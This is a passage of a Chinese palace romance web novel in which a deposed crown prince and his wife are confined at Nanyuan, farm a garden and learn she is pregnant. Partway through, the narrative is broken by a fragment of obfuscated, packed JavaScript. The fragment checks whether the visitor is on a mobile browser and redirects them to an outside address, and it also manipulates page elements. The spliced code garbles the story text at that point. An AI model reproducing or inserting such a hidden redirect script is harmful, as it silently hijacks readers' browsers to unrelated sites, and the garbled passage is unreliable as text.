他顿了顿,手掌轻轻覆在她小腹处,凤眸里染上极浅的温柔:“妙贤,孩子的事,咱们顺其自然就好。旁人说什么,你不必理会。” 万妙贤抬起头,撞进他那双化作春水的凤眼里,忽然觉得一年的宫廷寂寞、那些朝臣的闲言碎语,全都烟消云散。 她踮起脚,在他唇角偷亲了一下,笑得比窗外雪花还亮:“殿下……小爷,你真好。我以后……我会努力学规矩的。” 姬阆低头回吻她额间,轻得像雪落梅枝:“好。但你不必变。保持这样就好一一我的太子妃娘娘。” 窗外,隆冬大雪纷飞,梅园里红梅傲雪,香气隐隐传来。 东宫的炭火烧得更旺了些,映得两人身影交叠,像一幅永不褪色的水墨画。 承平廿十年初,昌嫔王氏传出有孕的消息,承平帝大喜过望,当即下旨晋昌嫔为淑妃。 满宫上下顿时沸腾。 承平帝连着三日免了早朝,只在宫里与新晋的王淑妃闲话家常,赏赐如流水般送进淑妃的玉熙宫。 朝臣们更是闻风而动,贺表雪片般飞来,有人暗中议论:陛下春秋正盛,如今亲子有望,梁王的旧嗣却霸着的东宫储位,只怕要生变了。 姬阆的处境,立即变的尴尬起来。 他本来是梁王的儿子,因为承平帝的儿子尽数病亡,这才入继为嗣,被接进宫中教养。 东宫内,往日那些低眉顺眼的内侍嬷嬷们,眼神里多了几分闪烁与怜悯。 往常见了他便恭恭敬敬喊“殿下”,如今却总在背地里窃窃私语,目光扫过时又迅速垂下。 就连万妙贤也从宫人的反应中,也发现了端倪。 她本就不是个能藏事的人,这日午后,趁着姬阆去御书房议事,她裹着杏色狐裘,偷偷溜到御花园的梅林边,蹲在假山后听几个小宫女嚼舌根。 “你们说,淑妃娘娘这胎要是位皇子,那可就不得了了。当年万岁爷的几位皇子尽数夭折,才接了梁王世子进宫。如今有了自个儿的亲骨肉,谁还稀罕养子啊!” “可不是,太子殿下这些年又不肯纳侧妃,东宫至今都空荡荡的。咱们这位万娘娘又是个乡野村姑,大字不识一个也就罢,听说连规矩都还没学周全……啧啧,这下东宫怕是要换主了。” 听着,宫人们嬉笑的声音万妙贤心口猛地一沉,像被谁狠狠捏了一把。 她咬着下唇,拳头攥得发白,却没冲出去发作——她如今好歹是太子妃,知道自己一闹只会给姬阆添乱。 黄昏时分,姬阆回东宫时,雪已停了,残阳映在玄色常服上,腰间的玉佩泛着冷光。 他一进偏殿,就见万妙贤坐在窗边发呆,脚边还散着几朵被她揉碎的梅花瓣,眼睛红红的,像只受了委屈的小兽。 “妙贤?”他声音低沉,带着惯有的温润,却一眼看出她不对劲。 万妙贤抬头,鼻子一酸,扑进他怀里,声音闷闷的:“殿下……宫里都在传,说淑妃娘娘有了身孕,万岁爷要废了你,另立亲子为储君。你……你会不会被废啊?我听说那些老臣已经开始上折子,说你入继本就不正,如今陛下有后,你该让位……” 她越说越急,眼泪啪嗒掉在他衣襟上,语无伦次:“我没给你生个孩子,还老是拖累你……要不我去求万岁爷,让我出宫回乡,你……你重新选个能帮助你的淑女吧……我只想你平安。” 姬阆眉心微蹙,却没有半分慌乱。 他伸手将她紧紧揽住,下巴抵在她发顶,沉水香混着竹叶清新,将她整个裹住。 窗外残阳如血,映得殿内暖融融的,他的声音却平静得像一池古井:“傻丫头。废不废位,与我何干?” 万妙贤愣住,抬起泪眼看他。 那双凤眸依旧沉静如故,却多了一抹只有她能看懂的温柔。 姬阆低头,用拇指轻轻拭去她脸上的泪痕,声音低哑却坚定:“我本是梁王之子,入宫为嗣不过是为承继大统。且不提淑妃娘娘怀的是不是皇子,即便是,将来如何,也还很难说,你别胡思乱想。” 他顿了顿,唇角极浅地弯了一下,那抹笑意如雪后初霁:“妙贤,你忘了吗?我说过,孩子是缘分,也是天意,我不愿强求,更不愿让你受委屈。” 万妙贤听得呆住,眼泪却越掉越凶。 她揪紧他衣襟,声音带着哭腔却笑了起来:“真的?那……那你……你不后悔?” 姬阆低笑出声,胸膛微微震动。 他低头,在她额间落下一吻,轻得像羽毛:“不悔。” 然而姬阆这番话,一字不落地传到了承平帝的耳中。 他冷冷地看着来报信的内侍,“太子果真是这样说的?” 东宫的内侍躬身一礼,“回万岁爷,太子殿下说淑妃娘娘能不能生下皇子是一回事。就算是生下了皇子,将来如何,又是另外一回事。” 自从淑妃有孕,东宫的宫人们见姬阆的储位没有那么稳固后,动小心思的不再少数。 眼前的这个背主的内侍就是其中之一,在听到姬阆这些大不敬的言语后,立即来乾清宫禀告给了承平帝。 承平帝气红了脖子,大口喘着粗气,“这孽障……朕苦心栽培他多年,他就是这样回报朕的吗?妃母有孕,不思祝祷祈求平安,反而满口诅咒!” “去!自今日起,你要监视太子的一举一动,事无巨细汇报给我!” 承平帝的话音落下,乾清宫内顿时鸦雀无声。 那内侍低头应“是”,脊背却悄然绷紧。 他知道,自己这一步,已是将东宫彻底推到了风口浪尖。 夜色渐深,玉堂宫里灯火通明。 王淑妃倚在凤榻上,一手轻轻抚着尚不显怀的小腹,一手接过宫女递来的安胎药,浅浅抿了一口。 承平帝今日又留宿于此,卸去龙袍后只着玄色常服,眉眼间的喜色怎么也掩不住。 “朕的皇儿啊……”他低声呢喃,掌心覆上淑妃的手背,“这一胎,定要平安。朕等这一天,等得太久了。” 王淑妃柔声应着,眼尾却微微弯起一抹算计。她这一胎若是皇子,东宫那位便成了多余的摆设,怎么都该给自己儿子让路。 十月转瞬即逝,婴儿呱呱坠地。 王淑妃并没有如万妙贤所期盼的那般生下公主,而是生了一个皇子。 承平帝喜极而泣,当即下旨封了这个还在襁褓中的婴儿为宸王。 “宸”字一出,满殿哗然。 宸,自古乃帝王自称,历代从未用于皇子封号。 朝臣们面面相觑,却无人敢谏,谁都看得出来,陛下这是明明白白要把江山传给这个刚出生的孩子了。 消息如野火般烧遍六宫。 三日后,似是觉的不妥,承平帝又将宸王改封为齐王。 大抵是他夭折的儿子太多了,承平帝不敢给他太多福气,害怕这个儿子像他的哥哥们一样早早就弃他而去。 一直到三岁前,承平帝都并未为他取名,只是唤着九哥儿。 只是随着齐王一天天长大,身子也愈发壮实,不像是夭亡之相,这才给他取名为宸。 是的,这次依旧用了那个宸字。 姬阆的处境,却愈发艰难起来,但凡是他主张的为政举措,甭管是不是有利于国家,几乎全部都被否决了。 并且,姬阆被承平帝训斥是常有的事情,每隔三五日就会在乾清宫上演一次。 终于,在承平廿六年,承平帝正式下诏废黜姬阆的储君之位。 两班文武几乎要掀翻了金銮殿。 有人以死相谏,有人痛哭流涕,有人当庭撞柱,血溅玉阶。 可承平帝坐在龙椅上,目光森冷,只吐出四个字:“朕意已决。” 尽管遭受了无数阻力,甚至公然和两班臣工对峙,承平帝最终还是成功了。 承平帝下诏,将废太子一干人等圈禁于南苑,严加看管,无诏不得与外界联系。 姬阆坦然地接受了自己的命运,只是对于万妙贤,他想去乾清宫跪求承平帝,求他放万妙贤出宫。 万妙贤红了眼,“你这是说的什么话,夫妻本是一体,曾经在东宫里你总是护着我,如今你遭了难,我怎能弃你而去。” “妙贤……” 姬阆不知该如何去面对妻子。 最后,姬阆没拗过万妙贤。他们褪去华服,身着素服坦然走出东宫,步履从容得像赴一场旧友之约。 宫人们痛哭不已,汪嬷嬷拿帕子掩着面,不忍心地看着他们被“请”出东宫。 南苑在京郊,原本是世庙时修建的行宫,承平帝继位后那处就闲置下来了。 如今荒草没膝,寒风刺骨。 只有几间破旧的院落被匆匆修缮,成了他们的新“家”。 四周高墙深锁,禁卫军如影随形,连一只飞鸟都休想带出只言片语。 夜里,炭盆里火光幽幽。 姬阆坐在窗下,替万妙贤披上一件旧狐裘。她眼睛还红着,却死死抱住他的腰,生怕一松手人就没了。 就在这时,一名老内侍躬身立在门槛外,声音尖细却带着寒意:“太子——哦,不,姬庶人。陛下口谕:南苑内一律不得生火取暖,不得饮酒作乐,不得私见外臣。每日只许两餐,违者斩。另,万氏若再哭哭啼啼,即刻打入浣衣局。” 万妙贤气得浑身发抖,却被姬阆紧紧按住肩膀。 他起身,声音平静得听不出喜怒,淡淡道:“儿子领旨。请公公替我谢父皇恩典,也请父皇也多保重龙体。” 老内侍冷哼一声,转身离去,脚步声渐远。 姬阆重新坐下,将万妙贤抱回膝上,像哄孩子似的轻轻拍着她的背。 南苑荒芜,每日供应的膳食更是惨不忍睹。 万妙贤着实忍不住,她盯着杂草丛生的院子,忽然生出一个主意。 很快,她就将院子清理出来,又用铲子一点点开垦了出了一片菜园。 她暗自庆幸自己是在乡下长大的,知道该如何开垦田地,又该耕种。 南苑的寒风像刀子,一下一下刮在脸上。 万妙贤却像没觉得冷似的,挽起袖子,腰间系着从旧衣撕下的布条,当作围裙。 她从小在乡野长大,锄头、镰刀、粪桶这些东西,比宫里的金银器皿更熟悉。 第一日,她把满院荒草连根拔起,堆成小山,晒干后留着当柴。 第二日,她用从墙角捡来的破瓦片当工具,一点点翻土,把南苑最向阳的那块地开成三亩菜园。 第三日,她用先前藏着的金稞子贿赂了送饭的宫人,从他们那儿弄来了些菜籽和种子。 “殿下,你看。”黄昏时,她满手泥巴,却眼睛亮晶晶地拉着姬阆到院子里,“明年开春,这里就能长出白菜、萝卜、葱蒜。咱们自己种,自己吃,总比天天吃那些发霉的窝头强。” 姬阆站在她身后,玄色旧袍被风吹得猎猎作响。 他低头看着她额前被汗水黏住的碎发,凤眸里第一次浮起一丝真正的动容。 “妙贤……”他声音低哑,伸手替她擦去脸上的泥点,“你本该锦衣玉食,十指不沾阳春水。如今却在这里为我挖土种菜,我……” 万妙贤立刻转过身,双手捧住他的脸,杏眼瞪得圆圆的:“你要是再说一句对不起或者委屈你了,我现在就哭给你看。我在乡下的时候,春天种地,秋天收粮,比这苦十倍都不止。可我有你啊,只要有你在身边,再苦也是甜的。” 她说着,鼻尖却酸了,却硬是把眼泪憋回去,笑得像偷了糖的小狐狸:“再说,我种的菜可好吃了。等秋天我给你做萝卜炖羊肉,你以前在东宫最爱吃的那个味儿,我一定能做得出来。” 话音刚落,她似乎是反应过来,脸上的笑意淡了很多,有些落寞地开口道:“我忘了,这里没有羊肉……” 不过很快,她再次给自己打气,“没关系,只有萝卜吃也很不错……” 只是眼泪,还是不争气地落了下来。 姬阆喉结滚动,忽然低头吻住她带着泥土气的唇。吻得又急又深,像要把她整个人揉进骨血里。 良久,他才松开,额头抵着她的,声音低得只剩气音:“妙贤,无论你做什么,我是爱吃的,我甘之如饴……” 夜里,炭盆被严令禁了,他们只能用晒干的荒草生起一小堆火,勉强取暖。 万妙贤把仅剩的半件狐裘披在姬阆肩上,自己却只穿单衣,蜷在他怀里。 “殿下。”她小声说,“我今天在菜园边上发现一处松动的墙砖,后面好像有条暗沟……要是咱们以后……” 姬阆手指按在她唇上,轻轻摇头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590370|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他知道,南苑的每一寸土地、每一块砖石,都有暗卫盯着。 “先种菜。”他低声在她耳边道,“咱们把日子过下去。父皇越是想让我们饿死冻死,我们就越要活得精神。等齐王再长大几岁,等朝堂上那些老臣开始后悔废储……妙贤,我们就有机会了。” 万妙贤点头,把脸埋进他胸口,声音闷闷的却带着笑:“嗯。我听你的。你说种菜,我就种菜。你说等,我就陪你等。哪怕等到头发白了,我也等。” 第二天清晨,送饭的内侍看到菜园里新翻的土和整整齐齐的垄沟,脸色微变,回去便一五一十报给了乾清宫。 承平帝听后,抬眼望了望头顶的藻井:“倒是朕小瞧他们了……也罢……就随他们去吧……” 姬阆到底在他身边养了这些年,他终究还是念旧情的,没有狠下杀手。 蒋贵妃知道姬阆他们在南苑的处境后,她还是冒着惹怒承平帝的风险,让人悄悄送过一次冬衣和被褥。 南苑的冬夜,风像野狼一样在高墙外嚎叫。 万妙贤把蒋贵妃送来的新被褥铺在炕上,厚厚的棉絮带着淡淡的檀香味。 她摸了摸,又抬头对姬阆笑,眼睛弯成两弯新月:“殿下,你摸摸,这被子好暖和呀。贵妃娘娘到底是心善的……当年我在东宫时,她还教过我怎么绣平安结呢。” 姬阆坐在炕沿,接过她递来的冬衣,玄色旧袍外又罩上一层厚实的狐皮坎肩。 他低头看着万妙贤冻得通红的指尖,心口像被什么轻轻揪了一下,却只淡淡笑了笑:“也许是吧……” 她把脸埋进他胸口,声音闷闷的,却透着十足的倔强:“我现在只想把菜园子侍弄好。等明年秋天,第一茬萝卜拔出来,我给你做萝卜丝饼。没羊肉就没羊肉,咱们有盐、有油、有我亲手种的葱——味道一样香。” 姬阆喉结滚动,低下头在她发顶落下一吻,久久没有挪开。 日子一天天过去。 南苑的菜园在万妙贤手里竟渐渐有了生机。初春时,嫩绿的菜苗破土而出,像一排排小小的士兵。 她每日天不亮就起身浇水、除草、施肥,手上磨出层层老茧,却笑得比宫里的任何妃子都灿烂。 姬阆则成了她的“护园将军”。 他把松动的墙砖重新码好,却在暗处留下一道极隐秘的缝隙。 他每日教她认字、读兵书、讲江南风物,把南苑这方寸之地,硬生生过成了世外桃源。 送饭的内侍每次来,都忍不住多看两眼那片绿油油的菜地。 他心底暗暗生出一丝敬佩:这废太子和万氏……活得倒比宫里许多主子还精神。 然而入春不久,万妙贤却出了状况。 起初她只觉得疲惫。 每日日头刚爬上墙头,她便腰酸背痛,像被抽走了全身力气。浇水时水桶提在手里,竟比往日重了三倍。 再后来,吃饭时也开始恶心想吐。 那日中午,内侍送来的还是老三样:濒临发霉的窝头、咸菜、半碗稀粥。万妙贤勉强咬了一口窝头,忽然胃里一阵翻江倒海,她赶紧转过身,扶着墙干呕起来。 “妙贤?” 姬阆正在给菜苗培土,闻声快步走来,一把扶住她摇摇欲坠的身子。 他眉头紧蹙,掌心贴上她额头,又探了探她的脉搏。 凤眸里先是担忧,随即闪过一丝极浅的震惊——那脉象,他曾在东宫太医那儿见过无数次。 万妙贤却还想强笑,擦了擦嘴角,声音虚弱却故作轻松:“没事……许是昨夜风大,着了点凉。别担心,我歇歇就好。菜园子还等着我呢……” 话没说完,她又弯腰干呕起来,这次连胆汁都快吐出来了。 姬阆脸色瞬间变了。 他一把将她横抱起来,大步走进屋内,把她轻轻放在炕上,用新被褥裹得严严实实。 然后他单膝跪在炕边,双手捧住她的脸,声音低哑却带着压抑不住的狂喜:“妙贤……你这是……有了。” 万妙贤愣住。 她杏眼圆睁,呆呆地看着他,半晌才反应过来,脸颊“腾”地烧得通红。 “有了……?” 她下意识伸手摸向自己尚且平坦的小腹,眼泪一下子就涌了出来,“殿下,你是说……我怀了你的孩子?” 姬阆喉结剧烈滚动,眼尾竟也隐隐发红。 他低下头,额头抵着她的,声音轻得像怕惊碎了这天大的喜讯:“嗯。脉象滑利,正是喜脉。妙贤……我们的孩子。” 屋内一时寂静,只剩枯草火堆偶尔噼啪一声。 万妙贤眼泪啪嗒啪嗒掉在他手背上,却笑得比春天的菜苗还灿烂:“真的?殿下,我们……我们终于有孩子了……我还以为这辈子都……” 她忽然又慌起来,抓住他的衣襟,“可这里这么苦,饭都没几口热的,孩子会不会……” 姬阆立刻吻住她,吻得又深又急,像要把所有的不安都吞进腹中。 良久,他松开,声音坚定得像宣誓:“不会,我不会让我们的孩子受半点委屈。” 他顿了顿,凤眸里闪过一丝锋芒,“妙贤,从今天起,你什么都不用做。只管好好养着身子。菜园子我来侍弄……” 万妙贤被他那句坚定的话震得眼眶又是一热,却死死咬住下唇,不让眼泪再掉下来。 “好……”她声音细细的,像怕惊扰了腹中那个小小的、尚未成形的生命,“殿下种菜,我……我就乖乖躺着,给你当监工。” 姬阆低笑一声,声音里带着从未有过的温柔。 他把她裹得更紧些,掌心覆在她尚且平坦的小腹上,仿佛已经能感觉到那里传来的微弱心跳。 日子忽然就有了新的盼头。 万妙贤听话地歇着,却不肯完全闲下来。她让姬阆把炕边的旧木桌搬到窗前,自己靠在厚被上,拿炭条在废纸上描描画画——画的是菜园的布局,哪垄种白菜,哪垄种葱蒜,哪处留给秋天种荞麦。 她画得认真,偶尔抬头冲姬阆笑:“殿下,你看,我把墙根那块阴凉地留出来,种薄荷和艾草。以后有了孩子,夏天蚊子多,正好熏一熏。” 姬阆每日天不亮就起身,先去菜园浇水、除虫、培土。 锄头在他手里挥得稳而有力,汗水顺着额角滑进玄色旧袍,却从不喊一声累。 春日渐深,菜园里第一批小白菜长出了嫩叶,万妙贤的孕相也越来越明显。 她的腰肢渐渐圆润,脸颊却因营养不足而略显苍白。 姬阆心疼得夜夜睡不安稳,便从蒋贵妃送来的冬衣里拆下的银扣,换来一小包小米和几根带血的牛骨。 回来时,他满身泥水,却把牛骨熬成浓浓的汤,亲手喂到万妙贤唇边。 “殿下……”她眼泪汪汪,却不肯张嘴,“你自己都瘦了……这汤该你喝。” 姬阆只低头吻掉她眼角的泪,声音哑得不成样子:“妙贤,你和孩子才是我这辈子的指望……” 她终于乖乖张嘴,一口一口喝完,眼底是满满的甜蜜与心酸。 夏日来临,菜园里萝卜缨子长得疯了似的,绿油油一片。 万妙贤的肚子已经明显隆起,她走路时会下意识护着腹部,像护着全世界最珍贵的宝。 那一日午后,雷声滚滚,暴雨倾盆而至。 南苑的屋顶漏雨,姬阆把所有能找到的破瓦片都搬来堵漏,自己却淋得透湿。 万妙贤急得要下炕帮忙,他一把将她按回被褥,声音严厉却带着颤:“不许动!你要是敢淋雨,我就……我就罚你三天不许碰菜园!” 她扑哧一笑,伸手抹去他脸上的雨水:“殿下,你现在越来越凶了。孩子出生后,可别把他吓着了。” 雨停后,姬阆去查看菜园,发现几垄萝卜被雨水冲歪了根。 他正弯腰扶正,忽然听到身后脚步声——万妙贤不知何时跟了出来,怀里抱着一件干爽的旧袍,踮脚给他披上。 姬阆眼睛有些发酸,得妻如此,夫复何求。 终究是他无能,没给她们娘俩好日子过。 回到屋内,姬阆死死拥住万妙贤,呢喃道:“妙贤,我发誓,今生我只与你生儿育女。若违此誓,必教我天年不遂!”